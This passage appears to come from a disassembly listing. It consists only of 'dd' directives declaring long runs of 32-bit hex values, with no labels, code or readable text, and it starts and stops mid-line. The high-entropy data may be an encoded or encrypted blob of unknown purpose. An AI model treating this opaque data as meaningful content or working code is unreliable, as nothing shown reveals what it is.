6F1FD7DDh, 698078B7h, 1ED4FDE6h, 4AD0901Bh, 6044C94Eh dd 3009D5B0h, 3033E14Ah, 514A844h, 5589931Ah, 0A290F36Eh dd 0EC653017h, 83BC5400h, 1A49D6FEh, 24DA38A6h, 16A08050h dd 0E4DF2391h, 0B8A4277Ch, 7B9A9801h, 87C5ADFBh, 48000873h dd 54DABCCFh, 8B1CCE8h, 0A01874D1h, 11E07B60h, 0CB15958Ah dd 0C45286B1h, 0A94C503h, 80937CCFh, 2C1B4236h, 95EDA0h dd 0D9515C8Bh, 0DC935D04h, 46743424h, 424A1F13h, 30154445h dd 42C468C2h, 0D1CCD900h, 0B0781875h, 0C3C789Eh, 48856C67h dd 4700B3D1h, 0ABF3FB3Bh, 0BAF48Dh, 8B179431h, 7EA41BF2h dd 9FFD9A1Dh, 0CC1328FFh, 9C9BD0A0h, 0DCE041C2h, 98CD81Eh dd 0B288CE91h, 8FFF5483h, 746624D1h, 179FCCE4h, 807C91B8h dd 0CF93A923h, 116F0454h, 0A26878B1h, 15E4C44h, 0E58152C8h dd 8862247Ch, 0B230B292h, 55703076h, 72E10200h, 3DF0E0B4h dd 1D21CF84h, 19DB16A0h, 27C89A9h, 0EC580C58h, 56008C4Ch dd 0A86215F3h, 0BE0EECF2h, 5373173Ch, 0A214E308h, 58203012h dd 647CA500h, 0D02968F5h, 9101EC0Eh, 99EE029Ch, 0B072703Ah dd 0F1111621h, 0CB21813h, 80129214h, 0F7B0D850h, 0E1501A6Eh dd 1FC3DB24h, 23A43B6Eh, 0B1380071h, 0CD4B825h, 6412740Ah dd 1607640Ah, 10BB569Ah, 80245348h, 0BD04679Eh, 1CD7BE35h dd 49F284E0h, 42099CC0h, 0D8E3CDA3h, 0F8EC4858h, 27008C0Ah dd 0C606BDADh, 170E4B85h, 8DE73A9h, 5D922468h, 2EE13CF6h dd 36FF70EFh, 9637C3Ah, 108A3EE3h, 0EBB288h, 5D4ADF07h dd 0E0DE996Eh, 0B0A9163Fh, 0D7CA90BFh, 770425E1h, 0C744F448h dd 5464A105h, 85EAAF53h, 0DA68205Ah, 27090410h, 0D18F4477h dd 184D79F0h, 0A97307A1h, 1BD7694h, 40F22FDDh, 0E4F3FDF8h dd 0A1B02850h, 0E2749401h, 4BD0E704h, 0AB28833h, 7DC43031h dd 0E6E100F6h, 0E9693514h, 45AF2A7h, 0DFFE98C0h, 1437B719h dd 7D12C101h, 0D0D1FF4Ah, 0EB003033h, 435DD498h, 0AD0423F4h dd 383DDCEh, 0F8B948EDh, 0C116FDBAh, 8CF3095Ah, 0D93072A2h dd 71334E2h, 0F3B481E8h, 1C146005h, 1080027Bh, 8033E521h dd 96307BB2h, 0EA1200FCh, 9E50F948h, 8B2706A6h, 56686299h dd 0B035E99Ch, 531D2980h, 0F29FF7E2h, 30342D47h, 12E4AC45h dd 8063B161h, 203D49F8h, 5A6AFE9Ah, 1EF4C031h, 2D2D0464h dd 64A8E71Fh, 0F4026005h, 0DF7313B3h, 7D23003Bh, 0B62EA84Ch dd 88CF4F00h, 7A8568A1h, 0FCEE048Ah, 85463ADFh, 0CB101398h dd 0C419C8B8h, 8050C449h, 8E11013h, 8021A32Dh, 4E389EB8h dd 0C5EEF0h, 2CAC189Fh, 0CA89A8A0h, 3303CC94h, 25223A28h dd 0E048B750h, 2C12D5D2h, 0BC51D15Dh, 4C9BB8B4h, 0C27A438h dd 5C9D4062h, 3A8F7C11h, 8476407Eh, 0AF2EB3F7h, 87403F1Eh dd 4E80C4E4h, 0B0C03994h, 30FE69h, 23E43A2Fh, 6A4698F7h dd 68018AFEh, 0A30CB673h, 9460E3D4h, 66311FFh, 0B1F40422h dd 68AC530Ah, 3B1EFD11h, 8A860BB2h, 87E8909Ch, 88F28848h dd 0F032B700h, 79A0D5D9h, 4924004Ah, 54672265h, 0C8523780h dd 0D24009ECh, 972850FCh, 0C0893431h, 3C022FB1h, 3ED85B58h dd 72C22070h, 0F5001E29h, 68EF3501h, 99F39Dh, 82D3F9C0h dd 26A99745h, 907800B5h, 0D73996A3h, 0B268A358h, 52583050h dd 0AC2B2A00h, 7415D3E8h, 123835DAh, 0B8C0A9B8h, 0D40901B0h dd 5EFCE0C8h, 40800447h, 7435EA64h, 0A6D21D74h, 5F4C873h dd 3A48D60Eh, 25482CEh, 633E0250h, 7018CCA3h, 0C1B5ECA8h dd 0FF25EE7Bh, 0F40C907h, 6A007D08h, 1130C221h, 0B5F83Ch dd 43352DD7h, 0E0EEA34Ch, 0EDC38C00h, 33103ED6h, 70F4A1B6h dd 10618611h, 0D2512h, 0D25FF274h, 1864ADCAh, 0A01FBE7h dd 0F5A83C07h, 532FF0D3h, 775C0034h, 0C96DCE0h, 0F001ECB1h dd 50A4F7D5h, 0B23C122Fh, 72F201D8h, 94C8BC19h, 2EA128CCh dd 0C0C080B0h, 6C6291F4h, 12547682h, 0BFD20347h, 700106A7h dd 0EE3AD756h, 213A5D85h, 861A5A60h, 6FCA9981h, 782A5840h dd 0E43A0050h, 92C10025h, 56575E9Ch, 0D82823CFh, 6406648Ah dd 41282572h, 386FB089h, 0A84029Ch, 0BC3F0CE0h, 0D84F0F78h dd 211363h, 406E22B7h, 4A715A28h, 2A00C8C3h, 2C52BE8Dh dd 7EF3FC88h, 0D7D41268h, 5370B020h, 25F6B088h, 94003689h dd 0FD82FE94h, 7501549Eh, 0D32FC60h, 0CA44442Fh, 1A07446Fh dd 0D2A83F41h, 133C7C28h, 6C21988Ah, 0FD33DFEh, 35730C69h dd 0B6081213h, 9867E06Ch, 0F67A04ADh, 0A45EBEB1h, 9A5618ECh dd 41F616C4h, 8CFE8C91h, 233C3B6Fh, 0EAB5004Fh, 0D6790C92h dd 0C3B72E03h, 0F566C66Bh, 0F8627CE8h, 745E0EE8h, 8C50684Ch dd 0D3DCBA05h, 6CCE9BDDh dd 0DCB29C00h, 492D6583h, 347C3F02h, 0D9337895h, 18767914h dd 0CDC13FAAh, 30826EBBh, 0B73F8061h, 0AC804074h, 62479A94h dd 0D32F00CEh, 0EC4C225Ah, 0D5698344h, 7828F349h, 0AA0216FFh dd 0ADF0ED1Ch, 60523Eh, 0F6877F70h, 192F7AD0h, 0AFB8303Eh dd 13542407h, 6BCB4ECh, 0C529028Ch, 0E732EF82h, 2B002066h dd 703FC36Ah, 24B65101h, 1EE8BAC5h, 941460F2h, 5EBF6B08h dd 8C147402h, 7B584A97h, 322F70C4h, 826DCA3Bh, 0BF12A829h dd 7B40E241h, 1495A58Ch, 15801691h, 0D6E1A668h, 5B36C8EFh dd 8E024502h, 0CA12A194h, 0CA0C244h, 97147858h, 44A7A095h dd 9A879A4h, 0DFD25876h, 0ADB4E898h, 6920E500h, 39BE1DF6h dd 7540E31h, 2D407A87h, 18C14785h, 0E88C9B5Ah, 0F29F09C7h dd 40E40A7Ch, 2F3FC245h, 512384h, 67DEBA60h, 5C0F08CAh dd 596E9196h, 2992EFF8h, 1B8B257h, 2EC6F6BFh, 202FA1B5h dd 358B0690h, 3882564Ah, 5E345636h, 0A3007546h, 85968704h dd 0A6122A8Fh, 0D0BCA0F2h, 78748D4Bh, 25E72210h, 84ECAC18h dd 48201E6Eh, 0B194021Bh, 0CC7285B2h, 0A2F5220h, 16DD241Ch dd 0BD38B8ECh, 4C872904h, 0B88CA9FFh, 188A05FDh, 3A0EA342h dd 3762380h, 71AE6930h, 168D0280h, 2FDC009Dh, 800B78D2h dd 1A5EBEFFh, 53C8A8CBh, 0EAA3EDC0h, 26CF00A1h, 0F3ECC8B5h dd 160177D3h, 23D685A7h, 487574DBh, 78A28C23h, 170FC30h dd 6841B03Ah, 7E5E9194h, 10E88004h, 0B6D74CB8h, 0C1B1E008h dd 2F750463h, 0AB22D8DAh, 1A00E87Ah, 782141DAh, 37804FAEh dd 0B47BF697h, 71465ECCh, 0D0CAFE07h, 381B8008h, 0C7002E31h dd 0EFD1B3E5h, 1FD629F3h, 5F620353h, 0F2A705B2h, 0A198F084h dd 7BB99E58h, 7225A4B0h, 0B6C8EE85h, 11465ED0h, 9F4B1D0Bh dd 178BD889h, 13B6D802h, 0CDECAB55h, 0A6760CCh, 0F9089DA1h dd 0BF09138h, 0C4846D81h, 5058A8A3h, 3A627A01h, 0C41EE070h dd 26418F4h, 9F18711Ch, 5E0B8C99h, 18885AD4h, 4987A994h dd 0A230DC66h, 8A99192Eh, 0D68CAA65h, 446747Ch, 79864900h dd 0D4AE90F3h, 0A3061109h, 9DDC78B5h, 0D60274B7h, 7427B94Ch dd 0BE3283FCh, 0BFD01E50h, 680162A1h, 60786365h, 9AF459D7h dd 705E69A5h, 23C1C802h, 0DCA456h, 0F80B903Dh, 0CDDD7B6h dd 0F012472Ah, 780040B1h, 72404339h, 0C036DE5Bh, 0CE204471h dd 9CB8F1EDh, 71666044h, 19CF038Eh, 371CD80Ah, 80D628AAh dd 84466740h, 0ACC41CBAh, 0BDD800AEh, 1E69A2A5h, 0E9E1341Eh dd 86C0481Eh, 71FA56D6h, 8912FBEh, 5D60A4EDh, 0BD26484h dd 0CBEA73C9h, 7CC45CC7h, 786F2260h, 7600AD70h, 271A90EAh dd 5B442h, 986637C1h, 93D0F520h, 3A05F4E0h, 47A9BF6Dh dd 52F2FCA2h, 31CBA833h, 2FD90064h, 4A35E854h, 79557308h dd 342FF8h, 78880CCEh, 0E8F232C0h, 0B0A4E047h, 6F8E20D0h dd 76B2872Ch, 37097E1Dh, 0A8CCC0D4h, 152C20F2h, 31931A09h dd 0D91C5961h, 5CDB180Ah, 0C8043C56h, 0B04B3C9Eh, 80BE2044h dd 8BFCC525h, 1C90E024h, 0FD12A69Fh, 0A5DCD7h, 5ADB2088h dd 4674E0A4h, 16F61C7Ch, 3C7A0C47h, 0E0813652h, 27F1B6A3h dd 38E05349h, 0EE03A8CAh, 4B5073B2h, 3EFBA0h, 339DB4A1h dd 4F86D9C1h, 390E1B3Eh, 161E80C3h, 9B2F1027h, 74309870h dd 0D71C38A3h, 0F2DCC8CBh, 8366CE00h, 70BB1F0Eh, 3F5E011Eh dd 45DAEF6Fh, 0D0FBED7Dh, 0A05A477Eh, 407C60C0h, 294F6376h dd 2040FAF7h, 8EE34718h, 935B2F49h, 570F48A3h, 650AE006h dd 530281A8h, 0C59C3A9Ah, 0FA367088h, 77985503h, 0C89E41BEh dd 25A0328Eh, 0CCD8B4F2h, 9A227E7Ah, 0FC5609EAh, 18803B02h dd 0BAD4B04Eh, 8BB19C13h, 40F0BC53h, 14678A94h, 0C7601344h dd 0FB02A83Ch, 0C47EA9ECh, 0E9445454h, 7611B097h, 72629780h dd 0FE1DC589h, 0BA456BB9h, 0F21273A7h, 0F70610B0h, 382C76FDh dd 71C7EA18h, 554B688Ah, 2B2B74DDh, 523D4h, 6613CF4Bh dd 0D8007545h, 8CBC2AD6h, 0B45037E0h, 0A9B940DCh, 4701AE4Dh dd 0A82F32DEh, 33EDEE21h, 3460B371h, 8D452718h, 52919417h dd 808F2585h, 0EF171AEFh, 37D39412h, 606394A3h, 120AAC16h dd 800FED68h, 79E07889h, 0B4410284h, 0D0E1ABD1h, 645EE652h dd 41C858EBh, 44132E84h, 8EB0D4A7h, 0BA35A196h, 94AD6889h dd 6A828D0h, 0CA2C008Ch, 31F4E22Bh, 2A02D5FDh, 3DD7DB0Dh dd 0EE6CED24h, 407B2687h, 6C64CF33h, 76CE9601h, 0FB2A68A1h dd 93C322Fh, 8018355Dh, 26D4F53Ch, 4900DB51h, 0D36B9E71h dd 0B52EE784h, 43B8884h, 0B8B59C96h, 81DCDB2Fh, 5F89A264h dd 1809887Ch, 0A45B0FACh, 0D435AFh, 22C1D1EFh, 7E07B77Ah dd 0BCEC6F62h, 0FC55B501h, 0B27C742Fh, 3019B2C0h, 7D00954Dh dd 0A5137815h, 0B3468F1h, 0CEEECA09h, 2637283h, 0B94175F0h dd 3E397EF6h, 106F268Dh, 0C52E4787h, 144B7720h, 0C0410009h dd 0E875D6B4h, 80AC64EAh, 0B011A833h, 0D4BDFCD9h, 0C5762DE8h dd 24081A0Fh, 5FA0C0ECh, 276AFE40h, 50114B89h, 7879D241h dd 8B1810D9h, 6D9B0E01h, 5FE19308h, 648D5882h, 3F201605h dd 8A88CFh, 0AE8ED8EEh, 0A186FE44h, 0CD789417h, 7BC84CCBh dd 69214DC0h, 0F4120074h, 685DBDE1h, 614FE59Ah, 85A8E451h dd 10E5D924h, 47D5A888h, 0ECCA7401h, 78731022h, 2A3074B2h dd 0D96D124Ch, 0CD088463h, 1D688820h, 0D88424Ah, 3C64A100h dd 0CAC4A38Dh, 13300E5Ah, 4D11EFDh, 702E4F9Ah, 4AA21694h dd 0DB3E5CB4h, 0D4DD58C1h, 447E2AEDh, 95EBE48h, 619C71B6h dd 8083E124h, 7495AFC1h, 9FA82894h, 32365C41h, 300BF274h dd 5A009418h, 4080FFF9h, 1A685D9h, 0E3D616A7h, 42AC15B2h dd 705CE2F4h, 70AC7B49h, 81B75035h, 0C1569488h, 0AB29063h dd 212A30h, 0C640FCF6h, 4813B759h, 0D4F0B872h, 94E0E04Ah dd 81448B6h, 0EFDAA205h, 28E8063Eh, 0E200491Bh, 0BBAD204Ch dd 458A7Dh, 0D2CC7A11h, 241C9DBAh, 81E9E712h, 90236CE1h dd 75304AA2h, 2014B8A2h, 0CF02479Dh, 6A24D6BCh, 279C50DEh dd 147104D2h, 4147860Ch, 28420080h, 3C9FC18Eh, 8F01ED03h dd 71FBFAD2h, 908646D8h, 6030A841h, 0FC12814Ah, 0F64E40B7h dd 0B239A14Ch, 8942ABC5h, 0D0205598h, 19FCD21Eh, 139B0C80h dd 3B71F808h, 192368h, 12E9A066h, 99072E21h, 0D723CF1Ah dd 518A89DCh, 40783C96h, 505EF20h, 5CF29FCAh, 800538ACh dd 4ECF9A18h, 0C500BD98h, 1DA53E9Fh, 3797h, 56AC81FEh dd 990439E5h, 6A3D7308h, 88EAA601h, 0EF788A18h, 0C20050B6h dd 4421F0B3h, 74AF5CBDh, 8F745E09h, 1DDCF47Eh, 80D0E5E4h dd 0A02F49BBh, 5E258F64h, 0F42CE059h, 68B98409h, 78187459h dd 0A1F67B04h, 4AC5F06h, 0B819C812h, 4AF5B240h, 0DC1C7494h dd 0E2FBA200h, 0F7B0F2A7h, 74A89C0Fh, 45077546h, 60E06FDBh dd 15A7CC2Ch, 0A96A8613h, 4AB97088h, 0B294E398h, 61BA307Ch dd 4330700Eh, 0E3860040h, 3CD9046h, 0D7C7068Bh, 0FC90AF8Fh dd 34F89F3h, 961220F6h, 0AD4BD91h, 0F40308BBh, 28E22640h dd 64CE9522h, 0A52EA81Ch, 888B08D3h, 8EC01988h, 10D7D3Ch dd 68F28BE5h, 2453B58Ah, 5055EAF8h, 0F4DB3BB4h, 0F5680780h dd 1B012BEDh, 0DCDE192Eh, 0AD04457Eh, 0BC4F881Ch, 4F916A13h dd 5E02AF68h, 0FC5E0D8Ah, 0FFA77D00h, 4C3ACCB0h, 63229890h dd 0E0A63B00h, 0F4446D36h dd 0BECD0179h, 0C7E2FE9h, 681F2E97h, 0A072D843h, 542E9218h dd 581247FCh, 9F186025h, 86F41364h, 0AE0E4D4h, 9565A080h dd 842028E6h, 0B4274E0Dh, 4200CA2Ch, 5B62E717h, 69B472h dd 1335E632h, 548F02E3h, 0D4F30C25h, 4FD2126Bh, 0DF019094h dd 35B8DAA5h, 3C002B00h, 0E2F83ED6h, 0E27A4ADEh, 5A651078h dd 539EA180h, 9417B4F2h, 5C203E4Dh, 4C1E4CACh, 853CA260h dd 20047450h, 6400168Bh, 40AD5491h, 98217A0h, 7644B841h dd 494E7884h, 1C707A3Fh, 806AF3A9h, 0BF878691h, 2C00BEAAh dd 0EE6B69E3h, 2594BDEFh, 94729075h, 70E53925h, 0A6134490h dd 44968528h, 1512DC10h, 1FC04E26h, 0BAF832C0h, 88224CE0h dd 2515E080h, 10507D9Dh, 13BC4052h, 0F8E130CAh, 406182CCh dd 0BD01755Eh, 0DE248FDAh, 0E99D8AF4h, 7A4A491Eh, 28593029h dd 292AA1BDh, 19137198h, 7A7B1F4h, 0E20FBF70h, 0AA0934F8h dd 0B64AF86Fh, 0D62414ACh, 72C69FE4h, 251846D5h, 44E2EBB6h dd 465E1456h, 90FD134Ah, 488D7004h, 1B36A002h, 44B777h dd 0ACB7BC82h, 1001A4C8h, 2461E2CBh, 202F3AF4h, 582FB228h dd 0D34A7703h, 0C869053Dh, 1A7B063h, 9E421B0Eh, 2AF2ED28h dd 0A07970D9h, 9F026DA8h, 0DD244758h, 42885E83h, 0B571C09h dd 61846DE4h, 203C8F1Ch, 9257BB0h, 0AE40CD7Ch, 10465684h dd 0E70DC204h, 3130F856h, 7EFC08B4h, 0BC28132Eh, 8C11EC70h dd 0B5854800h, 0A7DC32D7h, 0B404E6CAh, 95F83B24h, 30F9C0C2h dd 9E187BD9h, 94D3Bh, 0FCEC4445h, 1D8FF5Bh, 0DE0686FDh dd 0A47E4FA7h, 70256809h, 10DD6178h, 0E8FCABB7h, 57099F15h dd 5CF80A24h, 10E5599Ch, 2275708Ah, 60BE7FEFh, 2D1012DCh dd 800C0856h, 0A19B1781h, 3034CAE2h, 279A30FCh, 0DDFF4C80h dd 9D30418h, 921BB610h, 75720008h, 0A624DC44h, 0D40A3E6Eh dd 0D0362033h, 410465Eh, 0A7185FB2h, 504427FAh, 0AFF2CF47h dd 0E2993400h, 507A6053h, 4010038Fh, 20515E26h, 0F427FEECh dd 772235A0h, 6B71008Eh, 3ED22450h, 0E10E5AECh, 8D23FB68h dd 6040F184h, 5B185E7Fh, 0ACA03445h, 838813B0h, 5023283Eh dd 1141B400h, 66468ABh, 0E2A5CB31h, 949561B0h, 1AE8245Ch dd 5467C6Ch, 5B4F8600h, 9994715h, 0D27B20B0h, 617E9C81h dd 0D261A1E8h, 14CE8F3Dh, 0ADDE1D23h, 6E7B0491h, 0A996A001h dd 68866B8Eh, 590E27B7h, 47D12F03h, 0E81E8422h, 178F5FE1h dd 40960h, 705A6415h, 225ADC66h, 0FD448800h, 0F9F38E2h dd 2324153h, 823E24h, 1E90E757h, 0BAD103A8h, 2420D79Fh dd 15FF18A0h, 19A46650h, 13941E40h, 92760A91h, 70E967FCh dd 0E74C2635h, 3B4F64A0h, 269E208Ah, 7D0C1090h, 0B9495ADCh dd 0D4670AFFh, 42881CF2h, 0B605666Ah, 2B004AFh, 0D786007Ch dd 0C4A8CD6h, 67FE45C1h, 948019A0h, 9F872778h, 0E60014D1h dd 6A232E20h, 9B283888h, 3F37E089h, 8BD5E0C2h, 0A7A85604h dd 0B2784CF3h, 786E77CEh, 0BF8C1EFEh, 644467B6h, 2304A02h dd 8291A678h, 844EACh, 0B171A790h, 4180AA04h, 82C0B6B4h dd 17C87B2Ah, 0B6560869h, 22E6E040h, 0B6911295h, 0C184BD66h dd 635EA196h, 498742Eh, 66B4684h, 951183Eh, 45ED8B06h dd 74F2B422h, 0C6950C58h, 93CC0468h, 49172042h, 0D66C7C09h dd 0C8166009h, 0AD687165h, 0C2717073h, 4B5AE020h, 0B849D1Ah dd 0C04F8828h, 7E0E2D76h, 32D6B903h, 0B743DF0Dh, 233A1CE4h dd 531A094Ah, 0A884A471h, 80B10CD2h, 1BD42C61h, 0B5627308h dd 13C144EDh, 0A34764C5h, 0A30D2812h, 0E870DEC4h, 724A03E6h dd 0C40095F7h, 86D16D5Fh, 0F09F2105h, 0B2C40841h, 4D233C2Eh dd 0EACCC101h, 0F02223B6h, 1E77DA00h, 0A7F7A801h, 0B744E801h dd 9EF935CDh, 5E2FA9E9h, 9268C580h, 0FE88E0C1h, 1F833E10h dd 14AD1A3Fh, 0E0541083h, 5647913h, 0C094F892h, 0C90E0900h dd 405E4C11h, 0BD902440h, 9BB101D0h, 708E9C5Eh, 49C8B044h dd 259A688Fh, 38CE777Dh, 581510B0h, 68B187h, 0A58B4B48h dd 7B89CC2Ch, 0E9F0295h, 1E2672DCh, 2842FC62h, 7449047h dd 0BBE51D60h, 49D2C26h, 12FF6A17h, 0DE2020E7h, 82B55ED4h dd 5D516C20h, 58456CBAh, 976304C4h, 3A0622E0h, 8DE04103h dd 2F679FB0h, 48973EEEh, 41800C91h, 0E0B517D0h, 0DA989958h dd 389C83C1h, 56978A6Eh, 54D6529Ch, 15EC2481h, 9F236B7h dd 465E9474h, 280F1D0Ah, 5650C725h, 0E4E6085Ah, 0BD4966B0h dd 7B02B4EAh, 6A4D21A3h, 0A037D590h, 21B6053Fh, 1CB8BDDEh dd 0DAF4DC4Eh, 6F9D0973h, 2EE1407Ch, 0E04E23E3h, 13D385Ch dd 4F47B3E6h, 0B822F2A0h, 8C21185Ch, 407C6DAFh, 9144FFE7h dd 0F1AE8B01h, 27897B78h, 0AF00387Dh, 460C70CFh, 0CDE09EE9h dd 1291D601h, 0FF8FD434h, 6B7FB961h, 3D0523B8h, 0E11B380h dd 0BCDA4B38h, 9CB5D605h, 80408C3Eh, 2B1A2F81h, 2E5E2AAh dd 10BE8ED5h, 0BA57CC89h, 60FC4D94h, 819B4353h, 0A4C2C45Bh dd 0AFE85CA7h, 0AEB928B7h, 8A92189Ch, 0E9B57CBCh, 1D87A888h dd 81B1C4F2h, 0FCE00D97h, 0CCC03EBEh, 4B86FF4Fh, 60D4B3ADh dd 916E9408h, 0B618C1B7h, 0DF2E18A0h, 0B55920A6h, 6E3F1858h dd 0AB60B9h, 5BFD1B6Ah, 30E2F0B0h, 78BC0A00h, 0F2E78C47h dd 89BA2DC7h, 5F754D0h, 0D0CC0017h, 4909774h, 6B3E9EA1h dd 0D195A5AEh, 5C922730h, 0EAC46740h, 2E0DC10Fh, 7168C03Ch dd 134F543h, 970A7D82h, 6B784E89h, 0FC09F013h, 2F18F42Dh dd 0F4C11CEDh, 172FDDD3h, 0B24CB330h, 0B785300Bh, 2D023B07h dd 99C0C32Ch, 5BF28994h, 0C988F476h, 83199F12h, 20B8D0BDh dd 50E98B2Fh, 25883BB0h, 0BCFDAB92h, 0F2A70B6Ch, 5EF0E070h dd 84A12C6Ah, 0C81E41C0h, 306F7B0Ch, 0A08E3400h, 6801DE07h dd 0F0FB90AAh, 7A686070h, 0ECEF265Ah, 1E9F02D4h, 94FCA28Ah dd 6008A097h, 4CE5A58Bh, 49604CE4h, 0C805A7B0h, 0A915F423h dd 6F96C4F8h, 0D21277C0h, 34BC4FE4h, 35B9AB80h, 0A800165Ch dd 46C98F9Eh, 11D86Ah, 2D2A9FF8h, 0DDDA3132h, 0CD035327h dd 8351C274h, 0B5279C65h, 6F8F0E58h, 8DC2D89h, 0B037C141h dd 18297CCh, 4A24BFACh, 0D9C6E232h, 48312F63h, 0F1806286h dd 423217BBh, 2001C3EEh, 2F748CEBh, 137B37F9h, 927005C4h dd 2208A20Ah, 0D1284B66h, 0C4221110h, 0CA00C01Bh, 33EEB510h dd 3218AFCDh, 3E6946A2h, 9380F454h, 0D82DDE31h, 98CA0077h dd 0A1267AB4h, 545294F1h, 2CDA928Ch, 38555A80h, 150B29E4h dd 0E1546F13h, 682C8468h, 28C4EECh, 94430D0Ah, 7474C27Dh dd 0D43874E9h, 0DA2DC204h, 0CC1012C0h, 4E492510h, 0B19DDC80h dd 59B1CB46h, 56C9F882h, 9CA4E325h, 0A6400618h, 4823DCCAh dd 0DC13A04Bh, 30E13C52h, 839CDB3Ah, 0BA5535h, 0C0FA269Eh dd 864A319h, 82492269h, 965D270h, 9460105Ch, 805DEEB1h dd 4F20041Ch, 7FB1C015h, 8CBBDD64h, 0A6860600h, 0E873A90Dh dd 5D94015Eh, 999AEBECh, 0B7E824FEh, 81421739h, 463F43BCh dd 0F87C2CDAh, 25B6EF08h, 0B5E3A187h, 8B716FD0h, 86E83DFFh dd 11146800h, 9AB216EFh, 4FFC8052h, 7B7768F2h, 0E7B3014Ch dd 3E4F3790h, 9EA03022h, 0DA821C00h, 0C9D2C053h, 2EC9EDA1h dd 0C76EB031h, 0DE85480Ch, 40B80AFCh, 52919609h, 2FB6E041h dd 0C83A1C16h, 22004B23h, 8A64A187h, 0B048B5D9h, 7CEDA506h dd 8C7CE864h, 99D8EC00h dd 90160C08h, 9B4024F2h, 0FBF401ACh, 20A6CF41h, 5C406D40h dd 98F209A8h, 0F8730FEEh, 34EAA604h, 38CF5888h, 125BD2A5h dd 0A200AC2Ch, 5524CA80h, 8E007C37h, 0A50CAC14h, 2CB7BF1Dh dd 56C0F101h, 0E4F59043h, 59F8848h, 0E79DB941h, 0C02CF4B7h dd 1058F604h, 6880D7E9h, 252C34h, 1B8562C3h, 0A093DA45h dd 0B4CF4F2Eh, 0D6EA6800h, 18243D9Eh, 0E9998A66h, 8E09D91Fh dd 73738FBAh, 1525D8h, 3F807891h, 14809C45h, 0D2B6C913h dd 0DD87F8F0h, 2925C69h, 72A5EEBBh, 8A0ED880h, 0E20B7768h dd 40A44A04h, 0E93E894Ch, 0ECD26401h, 395EDFCEh, 77883C8Fh dd 0E0B6C1C3h, 26CE5C63h, 40EC8651h, 879A8490h, 80AD130Fh dd 2AC007Ah, 12A0F6B8h, 0AD6BF581h, 0F0A096D8h, 0BFDD75FAh dd 18FC509Ah, 0E3C200D4h, 8F7B782Bh, 9000089Dh, 0AF7C0F95h dd 0CAE1243Fh, 9C905771h, 99A842B6h, 18E7710Eh, 456052C4h dd 0BE00632Ch, 0D496C551h, 1206881Dh, 8281396Bh, 0D45E3450h dd 1E1D01DCh, 0CEBF6FA0h, 0BCEAF811h, 68D77BFFh, 0B97796F8h dd 0D1738930h, 0E0201698h, 0B0F0CFC4h, 3021BE01h, 1EE8EA26h dd 2F23188Eh, 594CF2A6h, 3C0C69B5h, 501B2711h, 0EDAD15B0h dd 3F164500h, 0BE03D20Fh, 0E326062Bh, 0B9863DFEh, 0A0C67300h dd 0EE8D51A4h, 11940465h, 0B8BAB662h, 8A7E05D8h, 8C0957BDh dd 0C89C93B9h, 2E430DAh, 919540DFh, 1601888Ah, 0C77A2427h dd 89B1C7C4h, 800084F0h, 9E579F47h, 1101940h, 4D945DECh dd 3BDAFCE0h, 0FCE39884h, 66105E3Eh, 0D8C84B11h, 1724019Eh dd 65C1A49h, 40907AA3h, 2DA63FFh, 25D5FCC7h, 0E0686934h dd 97E9641Bh, 84447FE9h, 2C99203Fh, 73F8922Ah, 54708A20h dd 182B9D3Eh, 0F2C1DCDCh, 60009B4h, 2970D9Bh, 55D86A20h dd 4078E0A4h, 46B99D14h, 86358070h, 77E56A10h, 0D013F84Ch dd 28BC0BF6h, 0A99AE848h, 10126C74h, 0ECD03E1Dh, 0C7BD12h dd 88A53F2h, 5A89225Bh, 3902A47Dh, 488D8087h, 0CE0D49Fh dd 0E1D9599Eh, 5BA93C25h, 0F4C52FB4h, 0A1674C64h, 605C4037h dd 0B1C2F0DCh, 472704D8h, 6004C4F8h, 4D3CD43h, 54B6FD6Fh dd 0D013ABD0h, 0C9B890B9h, 0FFD38501h, 3F5DEA40h, 6B00C16Eh dd 90092A25h, 0DC007473h, 0A0F40FEh, 0CE244901h, 64572BB6h dd 42CE2048h, 0F91E6525h, 180CF184h, 6DDD0372h, 5FA71912h dd 68D6119h, 0D40183C0h, 709F6B01h, 39C06C90h, 0E9DDD958h dd 15400D04h, 5D406186h, 6477E436h, 12FD9004h, 3CA89BF6h dd 0BD708C20h, 9262C112h, 7A8CCADh, 2CE8008Ch, 18AD2D26h dd 669514B4h, 406894C8h, 47ACD452h, 0B2701400h, 942F895Bh dd 0BCEF4801h, 4F5110h, 953DDFCFh, 0CE405816h, 1E96E008h dd 8F1932F3h, 465E2454h, 274B7173h, 85008C5Eh, 8724449Dh dd 0A7B00086h, 3E03F451h, 0B65F963Dh, 3E238F6h, 8B188477h dd 88D8B212h, 0D4F0A756h, 6C743109h, 25DC714Ch, 14789853h dd 8F2E0994h, 0C856FE93h, 6273D660h, 0A89716A4h, 8888CD7Dh dd 0B228391h, 305C9D1Bh, 545A0DE2h, 16467680h, 9481C600h dd 0BCD23734h, 592DDDE0h, 425471C8h, 0C5091A78h, 6013E4CCh dd 3089F698h, 0B7B885BEh, 0A5E99B08h, 171C6061h, 12EA4BB2h dd 7810B15Ch, 8C13BC08h, 835AFA00h, 302402D8h, 4CF158E7h dd 0ED8A4A02h, 0C8A3893Dh, 0EAC07671h, 0C839A6FFh, 0B25C8227h dd 0D73F1B13h, 55D08822h, 0AC3C8209h, 44F92B08h, 6048CDA7h dd 0B425A12Ah, 351C5BFEh, 0B87930D2h, 74606B44h, 0E2681200h dd 0B196092Ch, 2F3CFC2Ah, 4E13AC98h, 0E5CD4C1Ch, 542FC9C0h dd 19F6129h, 15FB4DDCh, 2C91238Ah, 849B4B80h, 0C6FACE80h dd 0FB007814h, 0F423A833h, 98F6919h, 94CF156h, 8090B755h dd 0BFE32A0Ah, 411C5F0Fh, 102764C0h, 4102A98Ch, 88826E6Ah dd 6C645567h, 0F08F2F03h, 0F8D9EF91h, 0B05F2D27h, 7C770162h dd 4FAE7548h, 0B48D6AD1h, 0F4D7DC68h, 0DF023C20h, 4DE34F2h dd 950450E3h, 4D97E846h, 0FE0FC08Ch, 0E8258AB3h, 4870C4DDh dd 596E5B16h, 450028Bh, 0DC2094h, 0D0E947C5h, 921E9F2Eh dd 2009DE4Fh, 2D8C71B6h, 4A786C5Bh, 0F47E1D62h, 1816A0FEh dd 10E25A9Fh, 0B070D109h, 73A7B873h, 5CF150F4h, 5DC26800h dd 779E330Dh, 0D4E01484h, 0A65E984Fh, 7700F794h, 36228F8h dd 33CB6590h, 0C1AE8638h, 8873C300h, 0F3DD2707h, 19E02C6h dd 9BD7DAE3h, 0D660D45Ch, 6B404Ah, 1C969E78h, 72C8D264h dd 0D5443A9Dh, 0AD0070B5h, 